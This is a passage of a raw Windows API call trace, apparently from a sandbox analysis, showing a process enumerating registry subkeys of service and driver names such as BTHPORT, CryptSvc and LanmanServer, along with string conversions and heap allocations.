lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0251.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0251.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0251.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0251.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0251.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0251.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0251.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0251.358] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0251.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0251.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0251.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0251.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0251.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0251.359] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0251.406] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0251.406] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0251.406] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0251.406] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0251.406] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0251.406] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0251.407] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0251.408] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0251.409] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0251.410] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0251.411] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: 